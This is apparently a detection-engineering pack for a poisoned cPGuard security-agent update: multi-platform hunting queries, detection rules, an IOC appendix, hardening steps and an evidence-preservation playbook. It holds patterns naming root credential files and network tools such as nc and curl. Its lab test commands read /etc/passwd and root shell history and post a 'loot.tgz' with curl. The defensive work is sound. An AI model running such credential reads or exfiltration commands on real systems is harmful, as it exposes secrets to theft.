// HUNT: Multiple root credential-file reads from one parent process (cPGuard script collection step) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1003.008, T1552.001, T1552.003, T1552.004 // CONF: medium | FP: medium // FALSE POSITIVES: backup agents, configuration management, compliance and audit scanners // EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate and threshold: two or more credential-file command lines sharing one initiating process on one device. matches regex with (?i) reproduces the CQL /i intent. // REQUIRES: Defender for Endpoint on Linux process-creation telemetry (DeviceProcessEvents) // TUNING: Exclude known configuration management and backup tooling by initiating process name after baselining. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Reads done inside the shell with builtins and redirects create no process and are not counted. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where ProcessCommandLine matches regex @"(?i)(/etc/shadow|/etc/passwd|/root/\.ssh/(authorized_keys|known_hosts)|/root/\.my\.cnf|/root/\.bash_history)" | summarize CredCmds = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp), FileNames = make_set(FileName, 20), CommandLines = make_set(ProcessCommandLine, 20), Initiators = make_set(InitiatingProcessFileName, 20) by DeviceId, DeviceName, InitiatingProcessId | where CredCmds >= 2 | sort by LastSeen desc | take 200
Looks for: Looks for archive utilities building or touching /var/tmp/.cpg91511/loot.tgz or any /var/tmp/.cpg<digits> directory. FP: none known.
Known limitations and deployment notes
- PowerQuery: An archive built inside a script interpreter library without launching a tool is not captured.
- PowerQuery assumes: endpoint.os holds the lowercase value linux.
- PowerQuery assumes: tgt.process.name holds the basename of the executed archive tool.
- KQL – Defender XDR: An archive built inside a script interpreter library without launching a tool is not captured.
- KQL – Defender XDR assumes: DeviceProcessEvents has no operating system column, so no Linux filter is applied; the archive path is Linux-specific.
- KQL – Defender XDR assumes: FileName holds the basename of the executed archive tool.
// HUNT: cPGuard credential loot archive staged in the hidden directory // MITRE: T1074.001, T1560.001 // CONF: high FP: low COST: low | REQUIRES: Linux process creation with command line (ProcessRollup2) // SOURCE: /var/tmp/.cpg91511/loot.tgz (OPSSHIELD advisory; The Hacker News) #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | event_platform=Lin | FileName=/^(tar|gzip|pigz|zip|7z|7za|bsdtar|cpio)$/i | CommandLine=/(loot\.tgz|\/var\/tmp\/\.cpg\d+)/i | table([@timestamp, ComputerName, aid, UserName, FileName, CommandLine, ParentBaseFileName, ImageFileName])
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeendpoint.os: Endpoint OStgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator process
Fallbacks
endpoint.name→agent.uuid: Changes the displayed host identifier only.
Readiness test
event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.name = * tgt.process.cmdline = * | limit 5 | columns event.time, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: cPGuard credential loot archive staged in the hidden directory
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1074.001, T1560.001
// CONF: high | FP: low
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: an archive tool by created process name whose command line names loot.tgz or the hidden collection directory. in:anycase and contains are case-insensitive, which reproduces the CQL /i intent.
// REQUIRES: SentinelOne Deep Visibility process-creation events from Linux agents
// TUNING: None expected; the hidden directory name is specific to this campaign.
// LOOKBACK: 7d; set the console time picker, extend to 30d for the incident window
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: An archive built inside a script interpreter library without launching a tool is not captured.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.name in:anycase ('tar', 'gzip', 'pigz', 'zip', '7z', '7za', 'bsdtar', 'cpio') (tgt.process.cmdline contains 'loot.tgz' or tgt.process.cmdline matches '/var/tmp/\\.cpg\\d+')
| columns event.time, endpoint.name, agent.uuid, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name, tgt.process.image.path
| sort -event.time
| limit 200Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Creator process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine | take 5
// HUNT: cPGuard credential loot archive staged in the hidden directory
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1074.001, T1560.001
// CONF: high | FP: low
// EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: an archive tool by created process name whose command line names loot.tgz or the hidden collection directory. in~ and contains are case-insensitive, which reproduces the CQL /i intent.
// REQUIRES: Defender for Endpoint on Linux process-creation telemetry (DeviceProcessEvents)
// TUNING: None expected; the hidden directory name is specific to this campaign.
// LOOKBACK: 7d; extend to 30d for the incident window
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: An archive built inside a script interpreter library without launching a tool is not captured.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0
DeviceProcessEvents
| where Timestamp >= ago(7d)
| where FileName in~ ("tar", "gzip", "pigz", "zip", "7z", "7za", "bsdtar", "cpio")
| where ProcessCommandLine contains "loot.tgz" or ProcessCommandLine matches regex @"(?i)/var/tmp/\.cpg\d+"
| project Timestamp, ReportId, DeviceId, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, FolderPath
| sort by Timestamp desc
| take 200Looks for: Looks for curl, wget, scripting runtimes or copy tools whose command line references loot.tgz or the hidden /var/tmp/.cpg<digits> directory, which is how the archive would reach the licensing server. The upload method and destination host are not published, so this tests the command line only; if the script uses a runtime library with the path built at run time, the string will not appear. FP: none known.
Known limitations and deployment notes
- PowerQuery: An upload made from inside an already running interpreter, with the archive named only in a script file, is not captured.
- PowerQuery assumes: endpoint.os holds the lowercase value linux.
- PowerQuery assumes: tgt.process.name holds the basename of the executed transfer tool.
- KQL – Defender XDR: An upload made from inside an already running interpreter, with the archive named only in a script file, is not captured.
- KQL – Defender XDR assumes: DeviceProcessEvents has no operating system column, so no Linux filter is applied; the archive path is Linux-specific.
- KQL – Defender XDR assumes: FileName holds the basename of the executed transfer tool.
// HUNT: Transfer tool referencing the cPGuard loot archive (upload to the licensing server) // MITRE: T1041, T1105 // CONF: medium FP: low COST: low | REQUIRES: Linux process creation with command line (ProcessRollup2) // NOTE: upload method and destination host are not published by any source #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | event_platform=Lin | FileName=/^(curl|wget|php|perl|python[0-9.]*|ruby|scp|sftp|rsync|ftp|nc|ncat)$/i | CommandLine=/(loot\.tgz|\/var\/tmp\/\.cpg\d+)/i | table([@timestamp, ComputerName, aid, UserName, FileName, CommandLine, ParentBaseFileName, ImageFileName])
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeendpoint.os: Endpoint OStgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator process
Fallbacks
endpoint.name→agent.uuid: Changes the displayed host identifier only.
Readiness test
event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.name = * tgt.process.cmdline = * | limit 5 | columns event.time, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: Transfer tool referencing the cPGuard loot archive (upload to the licensing server) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1041, T1105 // CONF: medium | FP: low // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a transfer tool or scripting runtime by created process name whose command line names loot.tgz or the hidden collection directory. matches and contains are case-insensitive, which reproduces the CQL /i intent. // REQUIRES: SentinelOne Deep Visibility process-creation events from Linux agents // TUNING: None expected; the upload method and destination host are not published by any source, so the command line is the only anchor. // LOOKBACK: 7d; set the console time picker, extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: An upload made from inside an already running interpreter, with the archive named only in a script file, is not captured. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.name matches '^(curl|wget|php|perl|python[0-9.]*|ruby|scp|sftp|rsync|ftp|nc|ncat)$' (tgt.process.cmdline contains 'loot.tgz' or tgt.process.cmdline matches '/var/tmp/\\.cpg\\d+') | columns event.time, endpoint.name, agent.uuid, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name, tgt.process.image.path | sort -event.time | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Creator process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine | take 5
// HUNT: Transfer tool referencing the cPGuard loot archive (upload to the licensing server) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1041, T1105 // CONF: medium | FP: low // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: a transfer tool or scripting runtime by created process name whose command line names loot.tgz or the hidden collection directory. matches regex with (?i) and contains reproduce the CQL /i intent. // REQUIRES: Defender for Endpoint on Linux process-creation telemetry (DeviceProcessEvents) // TUNING: None expected; the upload method and destination host are not published by any source, so the command line is the only anchor. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: An upload made from inside an already running interpreter, with the archive named only in a script file, is not captured. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where FileName matches regex @"(?i)^(curl|wget|php|perl|python[0-9.]*|ruby|scp|sftp|rsync|ftp|nc|ncat)$" | where ProcessCommandLine contains "loot.tgz" or ProcessCommandLine matches regex @"(?i)/var/tmp/\.cpg\d+" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, FolderPath | sort by Timestamp desc | take 200
Looks for: Looks for DNS requests for the OPSSHIELD licensing server hostname the script uploaded to. No source publishes that hostname, so the pattern is the labelled placeholder REPLACE_WITH_LICENSING_SERVER_DOMAIN and the query matches nothing until you replace it with the hostname from your own cPGuard configuration or egress logs. Expect legitimate traffic to the same host from every cPGuard server, so the useful signal is volume and timing around 2026-11-02, not presence. FP: every healthy cPGuard server queries its licensing host.
Known limitations and deployment notes
- PowerQuery: The licensing server hostname is unpublished, so no SentinelOne lookup can be written for it.
- KQL – Defender XDR: The licensing server hostname is unpublished, so no Defender lookup can be written for it.
// HUNT: DNS lookups for the cPGuard licensing server (REPLACE_WITH_LICENSING_SERVER_DOMAIN) // MITRE: T1041 // CONF: low FP: medium COST: low | REQUIRES: DNS lookup telemetry (DnsRequest) // FALSE POSITIVES: the legitimate licensing check that every cPGuard server performs // TUNING: set the search window to 2026-11-02 00:00 UTC onward and compare against the prior 30 days per host; // the signal is a burst of lookups near the update times in install_log, not the lookup itself // NOTE: replace the placeholder with the hostname from your own configuration; no source publishes it #event_simpleName=DnsRequest | event_platform=Lin | DomainName=/REPLACE_WITH_LICENSING_SERVER_DOMAIN/i | groupBy([aid, ComputerName], function=[count(as=lookups), min(@timestamp, as=firstSeen), max(@timestamp, as=lastSeen)]) | sort(lookups, order=desc, limit=200)
1 required field · View requirements
Required telemetry
- DNS Resolved
Required fields
event.type: Event type
Readiness test
event.type = 'DNS Resolved' | limit 5 | columns event.type
// HUNT: DNS lookups for the cPGuard licensing server (REPLACE_WITH_LICENSING_SERVER_DOMAIN) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1041 // CONF: low | FP: medium // FALSE POSITIVES: the legitimate licensing check that every cPGuard server performs // EQUIVALENCE: unsupported-without-redesign - The CQL is an inactive placeholder: its domain filter is an unfilled token that no source publishes, so any translation would carry the same empty token and hunt nothing. It also depends on per-process DNS lookup telemetry that needs separate field verification on the tenant. // REQUIRES: The licensing server hostname from your own cPGuard configuration, plus DNS Resolved telemetry // TUNING: Fill the hostname on the CQL tab first; then port the filled query. // LOOKBACK: 7d on the CQL tab // CONFIGURATION: Use the CQL tab for this card. // KNOWN GAPS: The licensing server hostname is unpublished, so no SentinelOne lookup can be written for it. // VALIDATION LEVEL: static-reviewed
1 required field · View requirements
Required telemetry
- DeviceEvents
Required fields
Timestamp: Event time
Readiness test
DeviceEvents | where Timestamp > ago(1d) | project Timestamp | take 5
// HUNT: DNS lookups for the cPGuard licensing server (REPLACE_WITH_LICENSING_SERVER_DOMAIN) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1041 // CONF: low | FP: medium // FALSE POSITIVES: the legitimate licensing check that every cPGuard server performs // EQUIVALENCE: unsupported-without-redesign - The CQL is an inactive placeholder: its domain filter is an unfilled token that no source publishes, so any translation would carry the same empty token and hunt nothing. // REQUIRES: The licensing server hostname from your own cPGuard configuration, plus DNS lookup telemetry // TUNING: Fill the hostname on the CQL tab first; then port the filled query. // LOOKBACK: 7d on the CQL tab // CONFIGURATION: Use the CQL tab for this card. // KNOWN GAPS: The licensing server hostname is unpublished, so no Defender lookup can be written for it. // VALIDATION LEVEL: static-reviewed
Looks for: Lists hosts where a process with a cPGuard updater command line ran since the compromise started, to scope which servers to check with the install_log test in Section 7. It does not show the installed version and it does not show that the malicious script ran; the vendor's install_log is the authority. Set the search window to start at 2026-11-02 02:00 UTC. FP: every normal cPGuard update, so treat it as a scoping list, not a detection.
Known limitations and deployment notes
- PowerQuery: any() returns one sample command line per host, not the ten the CQL collects.
- PowerQuery: Every legitimate cPGuard update and version check also matches.
- PowerQuery assumes: endpoint.os holds the lowercase value linux.
- PowerQuery assumes: Updater process names are not published, so the match is on the command line only.
- KQL – Defender XDR: Every legitimate cPGuard update and version check also matches.
- KQL – Defender XDR assumes: DeviceProcessEvents has no operating system column, so no Linux filter is applied; the cPGuard paths are Linux-specific.
- KQL – Defender XDR assumes: Updater process names are not published, so the match is on the command line only.
// HUNT: cPGuard update activity per host since 2026-11-02 (scoping list, not a detection) // MITRE: T1195.002 // CONF: low FP: high COST: low | REQUIRES: Linux process creation with command line (ProcessRollup2) // FALSE POSITIVES: all legitimate cPGuard updates and version checks // TUNING: this is a scoping list; confirm each host with the install_log check in Section 7 before acting // NOTE: set the search window to start 2026-11-02 02:00 UTC; updater process names are not published, so match on command line #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | event_platform=Lin | CommandLine=/(cpgcli|\/opt\/cpguard\/)/i | CommandLine=/update/i | groupBy([aid, ComputerName], function=[count(as=updateRuns), min(@timestamp, as=firstSeen), max(@timestamp, as=lastSeen), collect([CommandLine], limit=10)]) | sort(updateRuns, order=desc, limit=500)
5 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeendpoint.os: Endpoint OStgt.process.cmdline: Created command lineagent.uuid: Endpoint identifierevent.time: Event time
Recommended fields
endpoint.name: Host name
Fallbacks
endpoint.name→agent.uuid: Changes the displayed host identifier only.
Readiness test
event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.cmdline = * | limit 5 | columns event.time, agent.uuid, endpoint.name, tgt.process.cmdline
// HUNT: cPGuard update activity per host since 2026-11-02 (scoping list, not a detection) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1195.002 // CONF: low | FP: high // FALSE POSITIVES: all legitimate cPGuard updates and version checks // EQUIVALENCE: equivalent-with-schema-assumptions - Same scoping predicate and per-host aggregation: command lines naming cpgcli or the /opt/cpguard/ path that also contain update, counted per endpoint. matches and contains are case-insensitive, which reproduces the CQL /i intent. // REQUIRES: SentinelOne Deep Visibility process-creation events from Linux agents // TUNING: This is a scoping list, not a detection; confirm each host with the install_log check in the pack before acting. Set the console time picker to start at 2026-11-02 02:00 UTC. // LOOKBACK: 7d; set the console time picker to start 2026-11-02 02:00 UTC // CONFIGURATION: No lookup objects required. // KNOWN GAPS: any() returns one sample command line per host, not the ten the CQL collects. Every legitimate cPGuard update and version check also matches. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.cmdline matches 'cpgcli|/opt/cpguard/' tgt.process.cmdline contains 'update' | group update_runs=count(), first_seen=min(event.time), last_seen=max(event.time), sample_cmdline=any(tgt.process.cmdline) by agent.uuid, endpoint.name | sort -update_runs | limit 500
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeProcessCommandLine: Created command lineDeviceId: Device identifier
Recommended fields
DeviceName: Device name
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, DeviceId, ProcessCommandLine | take 5
// HUNT: cPGuard update activity per host since 2026-11-02 (scoping list, not a detection) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1195.002 // CONF: low | FP: high // FALSE POSITIVES: all legitimate cPGuard updates and version checks // EQUIVALENCE: equivalent-with-schema-assumptions - Same scoping predicate and per-host aggregation: command lines naming cpgcli or the /opt/cpguard/ path that also contain update, counted per device. matches regex with (?i) and contains reproduce the CQL /i intent. // REQUIRES: Defender for Endpoint on Linux process-creation telemetry (DeviceProcessEvents) // TUNING: This is a scoping list, not a detection; confirm each host with the install_log check in the pack before acting. // LOOKBACK: 7d; narrow with LastSeen against 2026-11-02 02:00 UTC // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Every legitimate cPGuard update and version check also matches. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where ProcessCommandLine matches regex @"(?i)(cpgcli|/opt/cpguard/)" | where ProcessCommandLine contains "update" | summarize UpdateRuns = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp), CommandLines = make_set(ProcessCommandLine, 10) by DeviceId, DeviceName | sort by UpdateRuns desc | take 500
Detection Rules by Platform
Three queries are exact enough to promote. All ship as detect only. The names come from a vendor advisory, but the hidden-path and script checks are cheap and low-noise. cpgcli, /opt/cpguard/ and the cPGuard binaries are legitimate product files and no IOA blocks or kills them.
CrowdStrike: Custom IOA
| IOA name | Promotes | Pattern | Exclusions | Deployment Path |
|---|---|---|---|---|
DETECT-cPGuard-UpdateScriptExecution | Promote Q1 | Linux process creation, command line matching cpguard-v[0-9]+-i[0-9]+\.sh | None known | Custom IOA (process creation), severity High, action Detect only |
DETECT-cPGuard-HiddenBackdoorShell | Promote Q2 | Linux process creation, image name ^\.cpg[0-9]+_sh$ or command line matching /var/tmp/\.cpg[0-9]+ | None known | Custom IOA (process creation), severity High, action Detect only |
DETECT-cPGuard-LootArchiveStaging | Promote Q5 | Linux process creation, image name tar, gzip or zip, command line matching loot\.tgz or /var/tmp/\.cpg[0-9]+ | None known | Custom IOA (process creation), severity High, action Detect only |
Do not promote Q3, Q4, Q6, Q7 or Q8. Q3 and Q4 fire on installers, backup and audit tools; Q6 depends on an unpublished upload method; Q7 is a placeholder; Q8 is a scoping list.
SentinelOne: custom detection rules
| Rule | Source query | Run as | Notes |
|---|---|---|---|
| DETECT-cPGuard-UpdateScriptExecution | Q1, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device" |
| DETECT-cPGuard-HiddenBackdoorShell | Q2, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device" |
| DETECT-cPGuard-LootArchiveStaging | Q5, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device" |
Create the rule with POST /web/api/v2.1/cloud-detection/rules, queryType: "scheduled" and queryLang: "2.0", with the query in data.scheduledParams.query. Use 2.0 operator spellings: a rule written with the 1.0 token ContainsCIS was accepted and never fired on a tenant. The API does not warn, so lint the body before deploying.
Microsoft Defender: custom detection rules
| Rule | Source query | Run as | Notes |
|---|---|---|---|
| DETECT-cPGuard-UpdateScriptExecution | Q1, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself |
| DETECT-cPGuard-HiddenBackdoorShell | Q2, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself |
| DETECT-cPGuard-LootArchiveStaging | Q5, KQL – Defender XDR tab | Custom detection rule, alert only, every hour | The query returns Timestamp, ReportId and DeviceId, which Microsoft recommends for Defender for Endpoint tables so alerts carry the device group scope and the process tree. Remove the Timestamp filter and the final sort and take before saving the rule: the service applies the rule's lookback itself |
Q3, Q4, Q6, Q7 and Q8 stay a hunt in this pack, not a rule. A rule can generate only 150 alerts per run. Continuous (NRT) frequency needs a single table and no comment lines, so delete the generated comment header from the query first.
Machine-Readable IOC Appendix
Grouped quick-copy blocks. The Falcon CSV ships three placeholders and no importable atomic rows: no source publishes a hash, IP address or malicious domain, so none is invented. Replace each REPLACE_WITH_ value from your own preserved evidence before import, or delete the row. The four filesystem artifacts are not a Falcon IOC type, so they live in their own block and are hunted by Q1, Q2, Q3 and Q5. Nothing here is a prevent action: the artifacts are single-lineage (the vendor and its re-publisher) and cPGuard files are legitimate product files.
type,value,action,severity,expiration,description,tags sha256,REPLACE_WITH_SCRIPT_SHA256,detect,high,2027-05-04,cpguard-v58812-i91511.sh (no hash published by any source; fill from your own preserved copy),campaign:cPGuard-OpsShield-SupplyChain sha256,REPLACE_WITH_BACKDOOR_SHELL_SHA256,detect,high,2027-05-04,/var/tmp/.cpg91511_sh (no hash published by any source; fill from your own preserved copy),campaign:cPGuard-OpsShield-SupplyChain domain,REPLACE_WITH_LICENSING_SERVER_DOMAIN,detect,medium,2027-05-04,OPSSHIELD licensing server used as the upload point (hostname not published; legitimate for normal licensing),campaign:cPGuard-OpsShield-SupplyChain
This pack does not ship a SentinelOne import block: the import format could not be verified against SentinelOne's own documentation. Export a sample from your console and the block can be added with confidence.
# Filesystem artifacts named by OPSSHIELD (all detect; the corrective update deletes them, so absence proves nothing) cpguard-v58812-i91511.sh malicious script filename /var/tmp/.cpg91511_sh backdoor shell /var/tmp/.cpg91511 collection directory /var/tmp/.cpg91511/loot.tgz archive staged by the script # Evidence file, NOT an indicator (legitimate product log used for the exposure check) /opt/cpguard/logs/install_log
# Behavioral signatures (the combination is the signal; each tool alone is legitimate)
Process lineage : a non-interactive shell started by the cPGuard update path running cpguard-v<digits>-i<digits>.sh
Hidden paths : /var/tmp/.cpg<digits>, /var/tmp/.cpg<digits>_sh (dot prefix, cpg prefix, 5 digits in the reported case)
Credential sweep : several commands in a row naming /etc/shadow, /etc/passwd, /root/.ssh/authorized_keys,
/root/.ssh/known_hosts, /root/.my.cnf, /root/.bash_history under one parent process
Staging : tar or gzip building /var/tmp/.cpg91511/loot.tgz
Upload : transfer to the OPSSHIELD licensing server under a compromised account (host not published)
Install log evidence : lines 'Successfully updated to 5.88.12' through '5.88.19' in /opt/cpguard/logs/install_log
Not malicious (do not alert alone):
- cpgcli, /opt/cpguard/ and the cPGuard binaries (legitimate product files, detect context only)
- OPSSHIELD support-access public key in /root/.ssh/authorized_keys (added by the product's support-access feature)
# Exposure and fix audit (run as root on each cPGuard server; read-only) grep 'Successfully updated' /opt/cpguard/logs/install_log cpgcli --version # Affected updates are 5.88.12 through 5.88.19 inclusive. Fixed: 5.88.25 or later. # A missing or incomplete log does not prove the server was unaffected (OPSSHIELD).
Detection Validation Gates
| Gate | Q1 (script) | Q2 (hidden shell) | Q3 (ELF write) | Q4 (cred sweep) | Q5 (archive) | Q6 (upload) | Q7 (DNS) | Q8 (inventory) |
|---|---|---|---|---|---|---|---|---|
| Telemetry ready | Ready process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | Ready process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | Pending executable written (CrowdStrike: ElfFileWritten. SentinelOne: File Creation. Defender: DeviceFileEvents); confirm the event is licensed and populated on Linux | Ready process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | Ready process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | Ready process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | Pending DNS lookup (CrowdStrike: DnsRequest. SentinelOne: DNS Resolved. Defender: DeviceEvents DnsQueryResponse); needs the real hostname | Ready process creation with command line (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) |
| Benign baseline | 30 days: expect none | 30 days: expect none | 30 days: list hidden executables under /var/tmp; expect installers only | 30 days: list parents; expect backup and audit tooling, exclude by name | 30 days: expect none | 30 days: expect none | Per host, prior 30 days of lookups to the licensing host for comparison | Compare with install_log results per host |
| Positive-control test | Not yet run. On a lab host run sh -c 'echo test cpguard-v1-i1.sh' and confirm the process event | Not yet run. On a lab host run sh -c 'echo test /var/tmp/.cpg1' | Not yet run. In a lab, copy a harmless binary to /var/tmp/.cpg1_sh and confirm the write event, then delete it | Not yet run. In a lab run cat /etc/passwd and cat /root/.bash_history in one script and confirm credCmds is 2 | Not yet run. In a lab run tar -czf /tmp/loot.tgz /etc/hostname | Not yet run. In a lab run curl -s -o /dev/null --max-time 1 http://192.0.2.1/ -d loot.tgz (documentation address) | Not yet run. Replace the placeholder with a lab hostname and resolve it | Not yet run. Run cpgcli --version on a lab host with cPGuard installed |
| Promotion | IOA candidate (Section 9) | IOA candidate (Section 9) | Hunt only | Hunt only | IOA candidate (Section 9) | Hunt only | Hunt only | Hunt only |
Run every positive control in a lab, never on production. A zero result from Q1 to Q8 does not clear a host: the vendor's cleanup deletes the named files, shell builtins create no process event, and the decisive check is the install_log test in Section 7. No query has been run against a tenant yet.
Hardening: Tiered
- Update and verify cPGuard. Run
cpgcli update --starton every server, thencpgcli --versionand confirm 5.88.25 or later (OPSSHIELD advisory; MITRE M1051 Update Software). Verify:cpgcli --version. Note that updating does not make a host that ran the script safe. - Rotate every exposed credential from a trusted environment. Reset root and all password-enabled local accounts, change reused passwords elsewhere, rotate database passwords, S3 keys, DigitalOcean tokens and secrets found in root's shell history, replace the SSH private keys under
/root/.sshand remove the old public keys from every system that trusts them (OPSSHIELD advisory; M1027 Password Policies, M1026 Privileged Account Management). Verify:passwd -S root, key fingerprints, and cloud provider key-age reports. - Restrict outbound traffic from hosting servers. Default-deny egress with an allowlist so a root process cannot upload a loot archive to an arbitrary host (M1037 Filter Network Traffic; CIS Linux Benchmark host firewall section). Caveat: a vendor licensing host that is already allowed (as here) is not blocked by this, so it limits unknown destinations only. Verify:
nft list rulesetoriptables -S. - Review root's authorized_keys. Remove unknown keys; remove the OPSSHIELD support-access key unless you actively use support access (OPSSHIELD is shipping a removal update). Verify:
cat /root/.ssh/authorized_keys.
- Stage security-tool updates. Run updates on a canary group and hold the rest for a defined period before they apply, where the product allows deferral. ⚠ best-practice, no formal benchmark; no source says cPGuard exposes a deferral setting, so confirm in OPSSHIELD documentation. Reduces blast radius of any future poisoned update; the 12 hour detection window here is the span a hold would have to cover.
- Audit access to credential files. auditd watches on
/etc/shadow,/root/.ssh,/root/.my.cnfand root history, plus exec watches under/var/tmp(M1047 Audit; CIS Linux Benchmark auditd section). Gives a file-read record that endpoint telemetry lacks. Playbook 3. Verify:auditctl -l. - Mount /var/tmp noexec,nosuid,nodev. Stops direct execution of a binary dropped there (CIS Linux Benchmark separate /var/tmp partition and mount options; M1022). Limit: a script run as
sh /var/tmp/xis not stopped, and some cPanel components expect to execute from temp directories, so pilot. Playbook 4. Verify:findmnt /var/tmp. - Stop leaving secrets where a script can read them. Keep passwords out of shell history (
HISTCONTROL=ignorespace, no secrets on command lines) and use scoped, short-lived cloud credentials instead of long-lived keys in files (M1027; T1552.003). Verify: search history for key-shaped strings after rotation. ⚠ best-practice, no formal benchmark for the history control.
- Treat root-level security agents as supply-chain risk. Inventory every product that auto-updates as root, require vendor release signing or checksum verification where offered, and track vendor incident notices (M1016 Vulnerability Scanning for the inventory process). ⚠ best-practice, no formal benchmark.
- Remove standing secrets from servers. Move to a secrets manager and short-lived credentials so a one-time file sweep yields nothing durable (M1026). Verify with a secret-scan of home directories.
- Forward logs off host. Send auth, audit and product logs to central storage so evidence like install_log and logons survive cleanup (M1047). The vendor warns a missing log does not clear a host.
Deployable Playbooks
Playbook 1. Triage and preserve evidence (read-only apart from the copy)
Prerequisites: Root shell on the server; free space on a trusted off-host or separate volume
Reboot required: No
Rollback: none required: read-only; delete the evidence folder when the case closes
# 1. Record version and update history cpgcli --version grep 'Successfully updated' /opt/cpguard/logs/install_log # 2. Preserve the named artifacts BEFORE the corrective update removes them mkdir -p /root/cpguard-evidence-20261104 cp -a /opt/cpguard/logs/install_log /root/cpguard-evidence-20261104/ 2>/dev/null cp -a /var/tmp/.cpg91511 /root/cpguard-evidence-20261104/ 2>/dev/null cp -a /var/tmp/.cpg91511_sh /root/cpguard-evidence-20261104/ 2>/dev/null sha256sum /root/cpguard-evidence-20261104/.cpg91511_sh /root/cpguard-evidence-20261104/.cpg91511/loot.tgz 2>/dev/null # Copy the folder off the host. Do NOT execute the backdoor shell.
